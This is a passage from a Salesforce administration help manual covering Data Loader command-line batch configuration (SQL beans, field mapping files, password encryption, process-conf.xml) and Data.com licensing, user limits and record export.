ar.hz_parties parties,
ar.hz_party_sites party_sites,
ar.hz_locations locs
where
accounts.PARTY_ID = org.PARTY_ID
and parties.PARTY_ID = accounts.PARTY_ID
and party_sites.PARTY_ID = accounts.PARTY_ID
and locs.LOCATION_ID = party_sites.LOCATION_ID
and (locs.last_update_date > @process.lastRunDate@ OR
accounts.last_update_date > @process.lastRunDate@
</value>
</property>
<property name="columNames">
<list>
<value>recordTypeId</value>
<value>account_number</value>
<value>organization_name</value>
<value>billing_address</value>
<value>city</value>
<value>postal_code</value>
<value>state</value>
<value>country</value>
<value>sic_code</value>
</list>
</property>
<property name="sqlParams">
<map>
<entry key="process.lastRunDate" value="java.sql.Date"/>
</map>
</property>
</bean>

SQL Insert Bean Example


<bean id="partiesInsertSql"
class="com.salesforce.dataloader.dao.database.SqlConfig"
singleton="true">
<property name="sqlString"/>
<value>
INSERT INTO REP.INT_PARTIES (
BILLING_ADDRESS, SIC_CODE)
VALUES (@billing_address@, @sic_code@)
</value>
</property>
<property name="sqlParams"/>
<map>
<entry key="billing_address" value="java.lang.String"/>
<entry key="sic_code" value="java.lang.String"/>
</map>
</property>
</bean>

858

Data Management

Mapping Columns

Mapping Columns
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When running Data Loader in batch mode from the command line, you must create a properties file that maps values between
Salesforce and data access objects.
1. Create a new mapping file and give it an extension of .sdl.
2. Observe the following syntax:

On each line, pair a data source with its destination.


In an import file, put the data source on the left, an equals sign (=) as a separator, and the destination on the right. In
an export file, put the destination on the left, an equals sign (=) as a separator, and the data source on the right.
Data sources can be either column names or constants. Surround constants with double quotation marks, as in
sampleconstant. Values without quotation marks are treated as column names.
Destinations must be column names.
You may map constants by surrounding them with double quotation marks, as in "United
States"=BillingCountry.

3. In your configuration file, use the parameter process.mappingFile to specify the name of your mapping file.
Column Mapping Example for Data Insert
The Salesforce fields are on the right.
SLA__C=SLA__c
BILLINGCITY=BillingCity
SYSTEMMODSTAMP=
OWNERID=OwnerId
CUSTOMERPRIORITY__C=CustomerPriority__c
ANNUALREVENUE=AnnualRevenue
DESCRIPTION=Description
BILLINGSTREET=BillingStreet
SHIPPINGSTATE=ShippingState

Column Mapping Example for Data Export


The Salesforce fields are on the left.
Id=account_number
Name=name
Phone=phone

Column Mapping for Constant Values


Data Loader supports the ability to assign constants to fields when you insert, update, and export data. If you have a field that
should contain the same value for each record, you specify that constant in the .sdl mapping file instead of specifying the
field and value in the CSV file or the export query.
The constant must be enclosed in double quotation marks. For example, if youre importing data, the syntax is
"constantvalue"=field1.

859

Data Management

Running Individual Batch Processes

If you have multiple fields that should contain the same value, you must specify the constant and the field names separated by
commas. For example, if youre importing data, the syntax would be "constantvalue"=field1, field2.
Heres an example of an .sdl file for inserting data. The Salesforce fields are on the right. The first two lines map a data
source to a destination field, and the last three lines map a constant to a destination field.
Name=Name
NumEmployees=NumberOfEmployees
"Aerospace"=Industry
"California"=BillingState, ShippingState
"New"=Customer_Type__c

A constant must contain at least one alphanumeric character. If you specify a constant value that contains spaces, the spaces
are removed when the field data is imported or exported.

Running Individual Batch Processes


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

To start an individual batch process use \bin\process.bat, which requires the following parameters:
A configuration directory
The default is \conf.
To use an alternate directory, create a new directory and add the following files to it:

If your process is not interactive, copy process-conf.xml from \samples\conf.


If your process requires database connectivity, copy database-conf.xml from \samples\conf.
Copy config.properties from \conf.

A process name
The name of the ProcessRunner bean from \samples\conf\process-conf.xml.
Process Example
process ../conf accountMasterProcess

Note: You can configure external process launchers such as the Microsoft Windows XP Scheduled Task Wizard to
run processes on a schedule.

860

Command Line Quick Start

Introduction

COMMAND LINE QUICK START


Introduction
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Watch a Demo (5:21 minutes)


In addition to using Data Loader interactively to import and export data, you can also run it from the command line. This
enables you to automate the import and export of data.
This quick start shows you how to use the Data Loader command line functionality to import data. You'll follow these steps:

Step 1: Create the encryption key


Step 2: Create the encrypted password for your login username
Step 3: Create the Field Mapping File
Step 4: Create a process-conf.xml file that contains the import configuration settings
Step 5: Run the process and import the data

See Also:
Prerequisites

Prerequisites
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

To step through this quick start, you should have the following:

Data Loader installed on the computer that runs the command line process.
The Java Runtime Environment (JRE) installed on the computer that runs the command line process.
Familiarity with importing and exporting data by using the Data Loader interactively through the user interface. This
makes it easier to understand how the command line functionality works.

861

Data Management

Step One: Create the Encryption Key

Tip: When you install Data Loader, sample files are installed in the samples directory. This directory is found below
the program directory, for example, C:\Program Files (x86)\salesforce.com\Apex Data Loader
22.0\samples\. Examples of files that are used in this quick start can be found in the \samples\conf directory.

See Also:
Introduction
Step One: Create the Encryption Key

Step One: Create the Encryption Key


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When you use Data Loader from the command line, theres no user interface. Therefore, youll need to provide the information
that you would normally enter in the user interface by using a text file named process-conf.xml. For example, youll need
to add to this file the username and password that Data Loader uses to log in to Salesforce. The password must be encrypted
before you add it to the process-conf.xml file, and creating the key is the first step in that process.
1. Open a command prompt window by clicking Start > All Programs > Accessories > Command Prompt. Alternatively,
you can click Start > Run, enter cmd in the Open field, and click OK.
2. In the command window enter cd\ to navigate to the root directory of the drive where Data Loader is installed.
3. Navigate to the Data Loader \bin directory by entering this command. Be sure to replace the file path with the path from
your system.
cd C:\Program Files (x86)\salesforce.com\Apex Data Loader 22.0\bin

4. Create an encryption key by entering the following command. Replace <seedtext> with any string.
encrypt.bat g <seedtext>

Note: To see a list of command-line options for encrypt.bat, type encrypt.bat from the command line.

5. Copy the generated key from the command window to a text file named key.txt and make a note of the file path. In
this example, the generated key is e8a68b73992a7a54.
Note: Enabling quick edit mode on a command window can make it easier to copy data to and from the window.
To enable quick edit mode, right-click the top of the window and select Properties. On the Options tab, select
QuickEdit Mode.

862

Data Management

Step Two: Create the Encrypted Password

The encryption utility is used to encrypt passwords, but data that you transmit using Data Loader is not encrypted.

See Also:
Introduction
Step Two: Create the Encrypted Password

Step Two: Create the Encrypted Password


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

In this step, youll create the encrypted password using the key that you generated in the previous step.
1. In the same command prompt window, enter the following command. Replace <password>with the password that Data
Loader uses to log in to Salesforce. Replace <filepath> with the file path to the key.txt file that you created in the previous
step.
encrypt.bat e <password> "<filepath>\key.txt"

2. Copy the encrypted password that is generated by the command. You'll use this value in a later step.

See Also:
Introduction
Step Three: Create the Field Mapping File

Step Three: Create the Field Mapping File


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The field mapping file associates data sources with destinations. This is a text file, typically with an .sdl file extension.
1. Copy the following to a text file and save it with a name of accountInsertMap.sdl. This is a data insert so the data
source is on the left of the equals sign and the destination field is on the right.
#Mapping values
#Thu May 26 16:19:33 GMT 2011

863

Data Management

Step Four: Create the Configuration File

Name=Name
NumberOfEmployees=NumberOfEmployees
Industry=Industry

Tip: For complex mappings, you can use the Data Loader user interface to map source and destination fields and
then save those mappings to an .sdl file. This is done on the Mapping dialog box by clicking Save Mapping.

See Also:
Introduction
Step Four: Create the Configuration File

Step Four: Create the Configuration File


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The process-conf.xml file contains the information that Data Loader needs to process the data. Each <bean> in the
process-conf.xml file refers to a single process such as an insert, upsert, export, and so on. Therefore, this file can contain
multiple processes. In this step, you'll edit the file to insert accounts into Salesforce.
1. Make a copy of the process-conf.xml file from the \samples\conf directory. Be sure to maintain a copy of the
original because it contains examples of other types of Data Loader processing such as upserts and exports.
2. Open the file in a text editor and replace the contents with the following XML:
<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN"
"http://www.springframework.org/dtd/spring-beans.dtd">
<beans>
<bean id="accountInsert"
class="com.salesforce.dataloader.process.ProcessRunner"
singleton="false">
<description>accountInsert job gets the account record from the CSV file
and inserts it into Salesforce.</description>
<property name="name" value="accountInsert"/>
<property name="configOverrideMap">
<map>
<entry key="sfdc.debugMessages" value="true"/>
<entry key="sfdc.debugMessagesFile"
value="C:\DLTest\Log\accountInsertSoapTrace.log"/>
<entry key="sfdc.endpoint" value="https://servername.salesforce.com"/>
<entry key="sfdc.username" value="admin@Org.org"/>
<!--Password below has been encrypted using key file,
therefore, it will not work without the key setting:
process.encryptionKeyFile.
The password is not a valid encrypted value,
please generate the real value using the encrypt.bat utility -->
<entry key="sfdc.password" value="e8a68b73992a7a54"/>
<entry key="process.encryptionKeyFile"
value="C:\DLTest\Command Line\Config\key.txt"/>
<entry key="sfdc.timeoutSecs" value="600"/>
<entry key="sfdc.loadBatchSize" value="200"/>
<entry key="sfdc.entity" value="Account"/>
<entry key="process.operation" value="insert"/>
<entry key="process.mappingFile"

864

Data Management

Step Four: Create the Configuration File

value="C:\DLTest\Command Line\Config\accountInsertMap.sdl"/>
<entry key="dataAccess.name"
value="C:\DLTest\In\insertAccounts.csv"/>
<entry key="process.outputSuccess"
value="c:\DLTest\Log\accountInsert_success.csv"/>
<entry key="process.outputError"
value="c:\DLTest\Log\accountInsert_error.csv"/>
<entry key="dataAccess.type" value="csvRead"/>
<entry key="process.initialLastRunDate"
value="2005-12-01T00:00:00.000-0800"/>
</map>
</property>
</bean>

3. Modify the following parameters in the process-conf.xml file. For more information about the process configuration
parameters, see Data Loader Process Configuration Parameters on page 846.

sfdc.endpointEnter the URL of the Salesforce instance for your organization; for example,
https://na1.salesforce.com.

sfdc.usernameEnter the username Data Loader uses to log in.


sfdc.passwordEnter the encrypted password value that you created in step 2.
process.mappingFileEnter the path and file name of the mapping file.
dataAccess.NameEnter the path and file name of the data file that contains the accounts that you want to import.
sfdc.debugMessagesCurrently set to true for troubleshooting. Set this to false after your import is up and

running.

sfdc.debugMessagesFileEnter the path and file name of the command line log file.
process.outputSuccessEnter the path and file name of the success log file.
process.outputErrorEnter the path and file name of the error log file.

Caution: Use caution when using different XML editors to edit the process-conf.xml file. Some editors add
XML tags to the beginning and end of the file which will cause the import to fail.

See Also:
Introduction
Step Five: Import the Data

865

Data Management

Step Five: Import the Data

Step Five: Import the Data


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To insert records:

Create on the record

To update records:

Edit on the record

To upsert records:

Create or Edit on the record

To delete records:

Delete on the record

To hard delete records:

Delete on the record

Now that all the pieces are in place, you can run Data Loader from the command line and insert some new accounts.
1. Copy the following data to a file name accountInsert.csv. This is the account data that you'll import into your
organization.
Name,Industry,NumberOfEmployees
Dickenson plc,Consulting,120
GenePoint,Biotechnology,265
Express Logistics and Transport,Transportation,12300
Grand Hotels & Resorts Ltd,Hospitality,5600

2. In the command prompt window, enter the following command:


process.bat "<file path to process-conf.xml>" <process name>

Replace <file path to process-conf.xml> with the path to the directory containing process-conf.xml.
Replace <process name> with the process specified in process-conf.xml.

Your command should look something like this:


process.bat "C:\DLTest\Command Line\Config" accountInsert

After the process runs, the command prompt window displays success and error messages. You can also check the log files:
insertAccounts_success.csv and insertAccounts_error.csv. After the process runs successfully, the
insertAccounts_success.csv file will contain the records that you imported along with the ID and status of each
record. For more information about the status files, see Reviewing Output Files on page 841.

See Also:
Introduction

866

Data Management

Data Loader Third-Party Licenses

Data Loader Third-Party Licenses


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The following third-party licenses are included with the installation of Data Loader:
Technology

Version Number

License

Apache Jakarta Commons


BeanUtils

1.6

http://www.apache.org/licenses/LICENSE-2.0

Apache Commons Collections

3.1

http://www.apache.org/licenses/LICENSE-2.0

Apache Commons Database


Connection Pooling (DBCP)

1.2.1

http://www.apache.org/licenses/LICENSE-2.0

Apache Commons Logging

1.0.3

http://www.apache.org/licenses/LICENSE-1.1

Apache Commons Object Pooling 1.2


Library

http://www.apache.org/licenses/LICENSE-2.0

Apache Log4j

1.2.8

http://www.apache.org/licenses/LICENSE-2.0

Eclipse SWT

3.452

http://www.eclipse.org/legal/epl-v10.html

OpenSymphony Quartz Enterprise 1.5.1


Job Scheduler

http://www.opensymphony.com/quartz/license.action

Rhino JavaScript for Java

1.6R2

http://www.mozilla.org/MPL/MPL-1.1.txt

Spring Framework

1.2.6

http://www.apache.org/licenses/LICENSE-2.0.txt

Note: Salesforce.com is not responsible for the availability or content of third-party websites.

867

Data.com Administration

Data.com Product Suite Overview

DATA.COM ADMINISTRATION
Data.com Product Suite Overview
Data.com available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions
Data.com Clean available in: Developer, Enterprise, Professional, and Unlimited Editions

Watch a Demo (3:19 minutes)


Data.com is a leading provider of business information and data, combining 30 million crowd-sourced business contacts with
accounts from Dun & Bradstreet (D&B) to deliver the best data source inside of Salesforce. Within Salesforce, you can search
for Data.com accounts and contacts right on the Data.com tab, and if you have a Data.com license, you can add records to
Salesforce. You can add your contact search results as either contacts or leads. It's remarkably easy to find the accounts and
contacts you need, and using Data.com is a great way to plan your sales territories, segment campaigns, find new accounts to
engage, and get new contacts to quickly expand your sales network. The Data.com product suite includes Data.com Corporate
and Data.com Premium, as well as related products Data.com Clean and Data.com Reports. This topic describes them all,
and explains how they work together.

Data.com Corporate
Data.com Corporate is an upgrade to the original Salesforce Data.com offering. It provides additional D&B fields, including
D-U-N-S Number, NAICS Code, NAICS Description, and more. With Corporate, all Salesforce users can search Data.com
for accounts and contacts. Users with Data.com licenses can:

Add accounts and contacts to Salesforce, and add contacts as leads.


Add contacts for an account directly from the account record.
Access the basic set of D&B fields provided for accounts.
Manually clean Salesforce account, contact, and lead records, whether they were added from Data.com or not.

Starting December 16, 2011, all organizations purchasing Data.com received the Data.com Corporate product. As of the
Summer 12 release, the Data.com Premium upgrade is available. Organizations using previous versions have a limited set of
fields.

Data.com Premium
Data.com Premium is an upgrade to Data.com Corporate. With Premium, you get all the features and D&B fields available
in Corporate, plus over 70 additional D&B fields for accounts you add to Salesforce from Data.com. These fields are grouped
in a D&B Company record thats linked to the account, and accessible on the D&B Companies tab.

Data.com Clean
Data.com Clean is an important part of Salesforces Data.com product suite, offering both manual and automated cleaning
for your account, contact, and lead records. You can purchase Data.com Clean for use on its own or to supplement the Clean
features within Data.com Corporate or Premium. Data.com Clean must be purchased for every Salesforce user you want to
use it. Data.com Clean provides full clean capability for your organization: all Data.com Clean users can manually clean
Salesforce accounts, contacts, and leads, and you can configure jobs to clean records automatically.

868

Data.com Administration

Implementing Data.com

Data.com Reports
Want to analyze the impact of Data.com data on your business? Use the Data.com Reports AppExchange package. It offers
several preconfigured Data.com reports and a corresponding impact dashboard. Use these tools to find out how many records
are sourced from Data.com, who has added them and when, and how they contribute to your sales forecast and revenue.

Considerations for Organizations Using Jigsaw for Salesforce


If your organization is still using the Jigsaw for Salesforce AppExchange package, you should consider migrating to the
Data.com and Data.com Clean products built in to Salesforce (and described in this topic). For information and assistance,
contact Salesforce customer support.

See Also:
Data.com Clean Overview
Finding and Adding Accounts from Data.com
Finding and Adding Contacts from Data.com
Adding Data.com Contacts as Leads
What product should my organization use to clean our account, contact, and lead records?
How do I know which Data.com product my organization has?

Implementing Data.com
Data.com available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions
Data.com Clean available in: Developer, Enterprise, Professional, and Unlimited Editions

User Permissions Needed


To implement Data.com:

Customize Application

To enable Data.com users:

Manage Users

To install AppExchange packages:

Download AppExchange Packages

Implementing Data.com is easy. Here's what you need to know.


The free version of Data.com provides Data.com data to all users. Users can find the Data.com tab on the All Tabs page, or
you can add it for them.
With the free version, users can search across the complete Data.com database of accounts and contacts. Free version users
can't see phone and email information for contacts, they cant see account cards or D&B data on account records, and they
can't add records to Salesforce.
To take full advantage of Data.coms data, your organization needs to purchase Data.com licenses and set up the feature. We
offer two licenses for searching and adding data from Data.com: Data.com Corporate and Data.com Premium. Both are easy
to set up, but Premium includes a few additional steps. Some of the steps are the same for both products, so lets start with those.
To implement Data.com, you need to:
1. Understand Data.com licenses, limits, and products.

869

Data.com Administration

2.
3.
4.
5.
6.
7.
8.

Implementing Data.com

Enable users for Data.com, assign type for each user, and assign record addition limits.
(Optional) Purchase additional Data.com licenses or record additions.
Add the Data.com tab to user profiles.
Configure your account, contact, and lead page layouts with the buttons and fields you need.
If you use Data.com Corporate or Data.com Premium, update your field-level security so users see fields provided by D&B.
Install the Data.com Reports AppExchange package.
Depending on your Data.com license, youll complete a few more steps. Check out these topics for complete details.
Tip: To find out which Data.com product your organization has, just click Your Name > Setup > Data.com
Administration > Licenses & Limits. On the Licenses & Limits page, check the Data.com Licenses section.
Youll see either Corporate or Premium.

Configuring Data.com Corporate on page 871


Configuring Data.com Premium on page 871

If youre using Data.com Clean along with Data.com, see Implementing Data.com Clean on page 893.

Implementation Tips and Best Practices


Note:
If a search produces a large number of results, users wont see all data past page 10. Contact Salesforce customer support
to enable unlimited view.

If a user adds more than 200 leads to Salesforce at one time, any lead assignment rules your organization uses won't run.
To make sure your lead assignment rules run, instruct your users to limit their additions to fewer than 200 leads at any
time.

If your organization uses validation rules on fields that are mapped to Data.com, either deactivate the rules or make sure
they match Data.com field names to avoid errors when you add records.

See Also:
Data.com Product Suite Overview
Defining Validation Rules

870

Data.com Administration

Configuring Data.com Corporate

Configuring Data.com Corporate


Data.com available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions
Data.com Clean available in: Developer, Enterprise, Professional, and Unlimited Editions

User Permissions Needed


To implement Data.com Corporate:

Customize Application

Data.com Corporate provides additional Dun & Bradstreet account and lead data beyond the basics, including D-U-N-S
Number, NAICS Code, Tradestyle, and more. Heres how to implement this product.
Note: To find out which Data.com product your organization has, just click Your Name > Setup > Data.com
Administration > Licenses & Limits. On the Licenses & Limits page, check the Data.com Licenses section. Youll
see either Corporate or Premium.
1. Make sure youve implemented Data.com.
2. Configure your account, contact, and lead page layouts with the buttons and fields you need.
3. Update your field-level security so users see fields provided by D&B.

Implementation Tips
If your organization uses Data.com Corporate or Data.com Premium, and you create validation rules for the fields that those
products provide, those rules will still attempt to run even if you stop using the product, so disable any validation rules using
those fields in that case. Data.com Corporate and Premium fields are identified in the help topics Account Fields and Lead
Fields.

See Also:
Data.com Product Suite Overview

Configuring Data.com Premium


Data.com available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions
Data.com Clean available in: Developer, Enterprise, Professional, and Unlimited Editions

User Permissions Needed


To implement Data.com Premium:

Customize Application

Data.com Premium is an upgrade to Data.com Corporate. With Premium, you get all the features and D&B fields available
in Corporate, plus over 70 additional D&B fields for accounts you add to Salesforce from Data.com.

871

Data.com Administration

Setting Up Data.com Users

Data.com Premium includes the D&B Companies tab, which lists D&B Company records for all accounts youve added from
Data.com. Each record displays the additional fields that Premium provides. Like Data.com Corporate users, Premium users
can also view a limited number of D&B fields on account records. Heres how to implement this product.
Note: To find out which Data.com product your organization has, just click Your Name > Setup > Data.com
Administration > Licenses & Limits. On the Licenses & Limits page, check the Data.com Licenses section. Youll
see either Corporate or Premium.
1.
2.
3.
4.
5.

Make sure youve implemented Data.com.


Configure your account, contact, and lead page layouts with the buttons and fields you need.
Update your field-level security so users see fields provided by D&B.
Add the D&B Companies tab to user profiles.
(Optional) Weve created a default layout for D&B Company records, but you may want to use the Enhanced Page Layout
Editor to customize the page layout.

Implementation Tips
If your organization uses Data.com Corporate or Data.com Premium, and you create validation rules for the fields that those
products provide, those rules will still attempt to run even if you stop using the product, so disable any validation rules using
those fields in that case. Data.com Corporate and Premium fields are identified in the help topics Account Fields and Lead
Fields.

Setting Up Data.com Users


Data.com available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions
Data.com Clean available in: Developer, Enterprise, Professional, and Unlimited Editions

User Permissions Needed


To implement Data.com:

Customize Application

To enable Data.com users:

Manage Users

To install AppExchange packages:

Download AppExchange Packages

The All Data.com Users page shows all users, grouped by user type: Data.com User and Data.com List User.

Data.com Users get a limited number of records to add or export per month, and their unused additions expire at the end
of each month. For each Data.com User, you can see the monthly limit and number of records added to Salesforce or
exported during the month.
For organizations that purchase the product, Data.com List users share account, contact, and lead record additions from
a pool. You can see the organization's limit, and the number of records each Data.com List User has added to Salesforce
or exported.

Enable each Data.com user on his or her User Edit page.


1. Click Your Name > Setup > Manage Users > Users, then click Edit next to the name of the user you want to enable.
2. In the Data.com User Type drop-down, select the user type.

872

Data.com Administration

Understanding Data.com User Types, Licenses, and Limits

3. For Data.com users, in the Monthly Contact and Lead Limit drop-down, select the number of contact and lead
records the user can add each month. You can select up to the organization limit for any user or all users, but once the
organization's monthly limit is reached, users won't be able to add more records.
For example, if your organization's monthly addition limit is 3000 records, you might assign one user a monthly addition
limit of 500 records, another user a limit of 1,000 records, and another user the organization limit (in this case 3,000
records). If the second user adds all 1,000 of his records right away, the third user will only be able to add up to 2,000
records, and depending on how many the third user adds, the first user may not be able to add any records.
Tip: You can find your organization's monthly organization addition limit on the Data.com Licenses & Limits
page. Click Your Name > Setup > Data.com Administration > Licenses & Limits.
4. Click Save to save the current record, or Save and New if you want to enable other users for Data.com.
Tip: You can also enable Data.com users from the Apex Data Loader. To do so, you export your user records to
a .csv file, change the Data.com user permission for each user you want to enable, and then import the .csv file
into Salesforce. The fields to export from the User object are LastName, FirstName, and
UserPermissionsJigsawProspectingUser. Contact salesforce.com support if you need help.
The number of Data.com users you can enablewithin Salesforce or via the Data Loaderdepends on the number
of Data.com licenses you have purchased. Make sure you stay within that limit when enabling users via the Data
Loader.

See Also:
Understanding Data.com User Types, Licenses, and Limits
Data Loader Overview

Understanding Data.com User Types, Licenses, and Limits


Data.com available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions
Data.com Clean available in: Developer, Enterprise, Professional, and Unlimited Editions

The Data.com Licenses & Limits page identifies the type and number of user licenses you have, and the limits per user and
for your organization. Limits are listed by user type: Data.com User and Data.com List User. Assign monthly record additions
for each user on his or her User Edit page.
The Licenses & Limits page also provides information about your organizations Clean implementation.

Data.com Licenses
Data.com user licenses let users search Data.com for accounts and contacts, and add them as records to Salesforce. Users can
also add contacts as leads.
If your organization has purchased Data.com Corporate, youll see Corporate in the heading for this section of the page.
Data.com Corporate includes several Dun & Bradstreet (D&B) fields on the Account object, including D-U-N-S Number,
NAICS Code, NAICS Description, and more.

873

Data.com Administration

Understanding Data.com User Types, Licenses, and Limits

If your organization has purchased Data.com Premium, youll see Premium in the section heading. Data.com Premium users
have access to all the fields available in Data.com Corporate, plus over 70 additional D&B fields on D&B Company records.
(D&B Company records are linked to accounts that are added to Salesforce from Data.com.)
Field

Definition

Number of Licenses

The total number of Data.com, Data.com Corporate, or


Data.com Premium user licenses your organization has
purchased from Salesforce.

Assigned

The number of Data.com user licenses you've assigned. A


single Data.com license is assigned every time you enable a
user for Data.com.
Tip: To see which users have been enabled, check the
All Data.com Users page. Click Your Name > Setup
> Data.com Administration > Users.

Data.com User Limits (Monthly)


Data.com Users get a limited number of records to add or export per month, and their unused additions expire at the end of
each month. For each Data.com User, you can see the monthly limit and number of records added to Salesforce or exported
during the month.
Field

Definition

Default Per-User Record Limit

The number of records a single Data.com user license allows.


The default number of records per license is 300, but it can
be adjusted based on your agreement. Additions expire at the
end of each month, as determined by your organization's
default time zone.

Organization Limit

The total number of records your organization can add each


month.
This limit is calculated by multiplying the number of Data.com
user licenses you have by the monthly limit per user license.
Typically, you distribute record limits among a number of
users within your organization, but you can also assign them
all to a single user.

(month) Balance

The number of records Data.com users can still add or export


during the current month. The balance is updated every time
a user adds records to Salesforce. Additions expire at the end
of each month, as determined by your organization's default
time zone.
Tip: To see how many records each user has added,
check the All Data.com Users page. Click Your Name
> Setup > Data.com Administration > Users.

874

Data.com Administration

Understanding Data.com User Types, Licenses, and Limits

Heres an example of how an organization manages Data.com User licenses and limits. The sales division of Universal Telco
has 14 sales reps, and they purchase 20 Data.com licenses, each of which has a record addition limit of 300. This means that
Data.com Users within the organization can add as many as 6,000 records per month. The Universal Telco administrator
distributes the Data.com Users monthly record addition limits as follows.

Ten of the sales reps have limits of 300 each.


Two of the sales reps have limits of 500 each.
Two of the sales reps have a limit of 1,000 each.

Data.com List User Limits


Data.com List users share account, contact, and lead record additions from a pool. You can see the organization's limit, and
the number of records each Data.com List User has added to Salesforce or exported.
Field

Definition

Pool Record Limit

The total number of records your organization's Data.com


List Users can add. All Data.com List users work from this
limit, so if one Data.com List user reaches the limit, other
users of that type will not be able to add records.

Balance

The number of records Data.com List users can still add. The
balance is updated every time a user adds records to Salesforce.
Tip: To see how many records each user has added,
check the All Data.com Data.com Users page. Click
Your Name > Setup > Data.com Administration >
Users.

Heres an example of how an organization manages Data.com List User licenses and limits. The marketing division of Universal
Telco has four marketing reps. Each rep has a Data.com license and each is a Data.com List user. Universal Telco purchases
a record addition pool of 5,000 records. This means that together, all four marketing reps can add 5,000 records. One rep
might add 2500 records, leaving 2500 to be added by one or more of the other three users.

Data.com Clean
The Data.com Licenses & Limits page also provides information about your organizations Clean capabilities and
implementation.
If your organization uses Data.com Corporate or Data.com Premium, users with those licenses can manually clean the account,
contact, and lead records they have access to.
If your organization has purchased a Data.com Clean product, you can also run automated jobs to clean records, and all
Salesforce users (not just those with Data.com Corporate or Data.com Premium licenses) can manually clean records.
Field

Definition

Available To

Which of your Salesforce users can manually clean records. If


youve purchased Data.com Clean, all Salesforce users can
clean records. If youve purchased only Data.com Corporate
or Data.com Premium, only users with licenses can clean
records.

Automation

The availability of automated clean jobs for your organization.


If youve purchased Data.com Clean but havent yet scheduled

875

Data.com Administration

Field

Purchasing Additional Data.com Licenses

Definition
clean jobs, click the Schedule Clean Jobs link. If you havent
purchased Data.com Clean, click the Learn More... link to
get product details.

See Also:
Setting Up Data.com Users
How do I know which Data.com product my organization has?
What should I do if my Data.com Users reach their addition limits and we need more prospecting capacity?
How can I find out how many Data.com records I can add to Salesforce?

Purchasing Additional Data.com Licenses


Data.com available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions
Data.com Clean available in: Developer, Enterprise, Professional, and Unlimited Editions

User Permissions Needed


To implement Data.com:

Customize Application

To enable Data.com users:

Manage Users

To use Checkout:

Manage Billing

If you need to purchase additional licenses for Data.com Users, you can do so using Checkout, right from the Data.com
Licenses & Limits page. Just make sure youre enabled to use Checkout. When your purchase is complete, you can assign
licenses to users if you need to.
1. Click Your Name > Setup > Data.com Administration > Licenses & Limits.
2. Click Purchase More and follow the steps.
3. (Optional) Assign the new licenses to users.
For detailed instructions on using Checkout, see the Checkout User Guide.

See Also:
Understanding Data.com User Types, Licenses, and Limits
Setting Up Data.com Users

876

Data.com Administration

Exporting Data.com Account Records

Exporting Data.com Account Records


Data.com available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions
Data.com Clean available in: Developer, Enterprise, Professional, and Unlimited Editions

User Permissions Needed


To export Data.com accounts records:

Read on accounts

If you want to work with Data.com account records in other programs, you can export them from your search results on the
Data.com tab. Exporting creates a comma-separated value (.csv) file that you can open in Microsoft Excel or any program
that supports .csv format.
Be aware of these requirements and restrictions when exporting records sourced from Data.com.

If you export Data.com contacts or accounts instead of adding them to Salesforce, each exported record counts against your
monthly contact addition limit. If you export records you've already added to Salesforce or re-export contacts you previously
exported, the exported records don't count against your monthly record addition limit.
If you export a group of Data.com contacts, then add those same contacts to Salesforce at Leads, you are not prevented
from importing those contacts back into Salesforce as contacts.
You can only export as many records as your monthly addition limit allows. If exporting a number of records would exceed
your limit, you'll see a message that lets you know how many record additions you have left. If you've reached your monthly
record addition limit, you can't export any records.
Regardless of your monthly addition limit or the number of records you have left to add, you can't export more than 50,000
records at a time. If you try, you'll get the option to either continue and export the first 50,000 from your list, or cancel
and refine your list.

The account fields that are exported are:

Jigsaw (the account's Jigsaw ID)


Name
Website
Phone
BillingStreet
BillingCity
BillingState
BillingPostalCode
BillingCountry
Industry
NumberOfEmployees
AnnualRevenue
Ownership
TickerSymbol

1. Start from a list of Data.com account search results.


2. Export all accounts or a selection.

To export all accounts, click Export Results and choose All.

877

Data.com Administration

Exporting Data.com Contact Records

To export selected accounts, select the ones you want, then click Export Results and choose Selected.

A dialog box appears. It identifies the default name of the export file: DataDotCom_Accounts.csv.
3. Open the file with Microsoft Excel or save it to a directory. If you open the file before saving, you'll get a read-only version.
Click Save As to rename it.
You can import the list of records back into Salesforce using the Data Loader. The import process checks for duplicates using
the Data.com ID number from the Data.com field.

See Also:
Data.com Search Fields and Filters
Using Data.com Reports and Dashboards
Data Loader Overview
Finding and Adding Accounts from Data.com
Data.com Search Fields and Filters

Exporting Data.com Contact Records


Data.com available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions
Data.com Clean available in: Developer, Enterprise, Professional, and Unlimited Editions

User Permissions Needed


To export contacts:

Read on contacts

If you want to work with Data.com contact records in other programs, you can export them from your search results on the
Data.com tab. Exporting creates a comma-separated value (.csv) file that you can open in Microsoft Excel or any program
that supports .csv format.
Be aware of these requirements and restrictions when exporting records sourced from Data.com.

If you export Data.com contacts or accounts instead of adding them to Salesforce, each exported record counts against your
monthly contact addition limit. If you export records you've already added to Salesforce or re-export contacts you previously
exported, the exported records don't count against your monthly record addition limit.
If you export a group of Data.com contacts, then add those same contacts to Salesforce at Leads, you are not prevented
from importing those contacts back into Salesforce as contacts.
You can only export as many records as your monthly addition limit allows. If exporting a number of records would exceed
your limit, you'll see a message that lets you know how many record additions you have left. If you've reached your monthly
record addition limit, you can't export any records.
Regardless of your monthly addition limit or the number of records you have left to add, you can't export more than 50,000
records at a time. If you try, you'll get the option to either continue and export the first 50,000 from your list, or cancel
and refine your list.

The contact fields that are exported are:

Jigsaw (the contact's Jigsaw ID)


FirstName

878

Data.com Administration

Exporting Data.com Contact Records

LastName
Title
Phone
Email
MailingStreet
MailingCity
MailingState
